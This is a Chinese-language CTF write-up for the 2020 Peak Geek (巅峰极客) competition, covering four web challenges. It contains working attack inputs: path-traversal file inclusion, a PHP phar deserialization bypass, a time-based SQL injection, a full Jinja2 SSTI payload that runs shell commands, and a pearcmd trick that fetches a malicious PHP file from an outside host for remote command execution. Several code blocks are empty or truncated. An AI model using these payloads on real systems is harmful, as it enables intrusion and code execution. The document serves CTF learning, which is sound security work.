巅峰极客2020
文章首发于安全客
babyphp2
文件包含:http://eci-2ze5jqyhfniloont8y3x.cloudeci1.ichunqiu.com/index.php?action=../../../../../../../../../../../var/www/html/login
登入接口ban掉:
1 | `,\,@,%,# |
1 | [11:00:52] 200 - 68B - /index.php |
构造反序列化链:dbCtrl::__destruct->User::__toString->Reader::__set
1 |
|
compress.zlib://phar://phar.phar/test.txt绕过限制
babyback
php:5.6.40
robots.txt
1 | User-agent: * |
1 | [12:31:50] 200 - 38B - /admin/ |
check.php 过滤了:
1 | ",',-,=,;,select |
1 | username=aaaa\&password= /sleep(5)%23bbbb |
存在sql注入
1 | 账号密码 |
1 | EVAL($COMMAND."=FALSE"); |
任意文件包含:
1 | POST /admin/ HTTP/1.1 |
读取flag
1 | POST /admin/ HTTP/1.1 |
babyflask
GET /loged?name=%7B%7B2*2%7D%7D
存在SSTI
模板引擎jinja2
1 | http://eci-2ze3domag0jprtzax0lx.cloudeci1.ichunqiu.com:8888/loged?name={%%20for%20c%20in%20[].__class__.__base__.__subclasses__()%20%}{%%20if%20c.__name__==%27_IterationGuard%27%20%}{{%20c.__init__.__globals__[%27__builtins__%27][%27eval%27](%22__import__(%27os%27).popen(%27cat%20/flag%27).read()%22)%20}}{%%20endif%20%}{%%20endfor%20%} |
拿flag
MeowWorld
任意文件读取
hint:register_argc_argv
1 | register_argc_argv TRUE |
https://khack40.info/camp-ctf-2015-trolol-web-write-up/
找到一个类似的题目,但是他们是用变量覆盖来执行
阅读pearcmd的代码发现:if (!isset($_SERVER['argv']) && !isset($argv) && !isset($HTTP_SERVER_VARS['argv']))
1 | http://eci-2zeguuukox00jv0u113l.cloudeci1.ichunqiu.com/?list+install+--installroot+/tmp/+http://ccreater.top:60006/install.php++++++++++++++$&f=pearcmd& |
后面多余部分并不影响我们下载恶意文件
http://eci-2zeguuukox00jv0u113l.cloudeci1.ichunqiu.com/?f=/tmp/tmp/pear/download/install
任意命令执行